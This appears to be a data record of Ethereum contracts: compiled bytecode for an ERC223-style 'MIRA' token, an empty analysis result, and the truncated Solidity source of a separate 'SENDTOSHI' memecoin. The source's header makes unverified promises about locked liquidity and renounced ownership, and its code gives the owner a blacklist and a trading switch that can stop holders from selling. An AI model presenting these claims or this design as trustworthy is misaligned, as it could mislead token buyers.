00000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018281038252848482818152602001925080828437820191505095505050505050600060405180830381600087803b15801561133757600080fd5b505af115801561134b573d6000803e3d6000fd5b505050505b6001925061135e565b600092505b50509392505050565b600881565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806114175750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561142257600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114ce5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115285750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b151561153357600080fd5b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541480156115c057506000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156115cb57504282115b15156115d657600080fd5b81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167fb7536ec9d2806a675644f41d1d6e8e099f1f96b02047f813ad94e6dc83f5004b836040518082815260200191505060405180910390a26001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806117435750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561174e57600080fd5b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f65c84ee842eafc291d1272a6e3d10f8c454c4288e63f5db3f7be2b3012f321a960405160405180910390a260019050919050565b6117fc338261358f565b50565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806118aa5750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156118b557600080fd5b600360149054906101000a900460ff1615156118d057600080fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541480156119675750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b151561197257600080fd5b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f4a31d884cd7792a793d3d6611fa014d1252766eddd6c0e694eb0a4ae3fc9c89060405160405180910390a260019050919050565b6040805190810160405280600681526020017f455243323233000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff1680611ab95750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80611b115750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80611b695750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611b7457600080fd5b42600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411151515611bc257600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611c1a57600080fd5b611c248383613742565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611cd257600080fd5b600360149054906101000a900460ff16151515611cee57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fdf3164c6542982869e04c28f5083f269f2b72ca4bff9a7e792f5c0422788bbc560405160405180910390a16001905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f4d4952410000000000000000000000000000000000000000000000000000000081525081565b600360149054906101000a900460ff1681565b60066020528060005260406000206000915090505481565b6000806000600360149054906101000a900460ff1680611e5d5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80611eb55750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80611f0d5750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611f1857600080fd5b42600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411151515611f6657600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611fbe57600080fd5b600360149054906101000a900460ff161561202c576001600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b61203685856139d3565b1561213357843b9150600082111561212a578490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a33866000366040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018281038252848482818152602001925080828437820191505095505050505050600060405180830381600087803b15801561211157600080fd5b505af1158015612125573d6000803e3d6000fd5b505050505b60019250612138565b600092505b505092915050565b6000600360149054906101000a900460ff16806121aa5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806122025750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b8061225a5750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561226557600080fd5b42600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111515156122b357600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561230b57600080fd5b6123158383613bf2565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806124505750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561245b57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156124f3575060008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15156124fe57600080fd5b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506125b281600080600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613dee90919063ffffffff16565b600080600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38273ffffffffffffffffffffffffffffffffffffffff167f1a3b0b2cd04e4e6331aa907b1086657fae5f7b6ad49d9eeda2cd8e0ad3b3a412826040518082815260200191505060405180910390a26001915050919050565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806127e55750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156127f057600080fd5b42600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411801561287c575060008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b151561288757600080fd5b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061293b81600080600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613dee90919063ffffffff16565b600080600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38273ffffffffffffffffffffffffffffffffffffffff167f5a9511a8d867f07ce8d5b2fea50747b280d95936c12aee98d70bcdae9e15b03f826040518082815260200191505060405180910390a26001915050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612b2057600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515612b7d57600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515612bca57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050612bf882613e0a565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515612d7c57600060026000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560006040518082815260200191505060405180910390a35b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561302457600080600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460026000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600080600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a35b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f65c84ee842eafc291d1272a6e3d10f8c454c4288e63f5db3f7be2b3012f321a960405160405180910390a25050565b60076020528060005260406000206000915054906101000a900460ff1681565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561321257600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561325f57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156132ea57600080fd5b61333b826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613e7290919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133ce826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613dee90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061349f82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613e7290919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111515156135dc57600080fd5b61362d816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613e7290919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061368481600154613e7290919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115613853576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506138e7565b6138668382613e7290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515613a1057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515613a5d57600080fd5b613aae826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613e7290919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613b41826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613dee90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000613c8382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613dee90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008183019050828110151515613e0157fe5b80905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613e6657600080fd5b613e6f81613e8b565b50565b6000828211151515613e8057fe5b818303905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515613ec757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820df1296d99ce2bad05528f9ff3b257fc5da154cce1189d92292a8d982410b94470029
|
{"success": true, "error": null, "results": {}}
| 8,240 |
0x60e32ff65206ef80d0329dab4e96970b8df394ef
|
/**
*Submitted for verification at Etherscan.io on 2022-04-24
*/
/**
SENDTOSHI
Stealth launch.
Website will be released if we get a strong community.
Liquidity locked for 30 days
Ownership will be renounced
5/5 Tax
Telegram: https://t.me/SENDTOSHI
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SENDTOSHI is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "SENDTOSHI";
string private constant _symbol = "SENDTOSHI";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 5;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x635f2181A5429ff6986fB0Ba5b44A0e12AE004cA);
address payable private _marketingAddress = payable(0x635f2181A5429ff6986fB0Ba5b44A0e12AE004cA);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
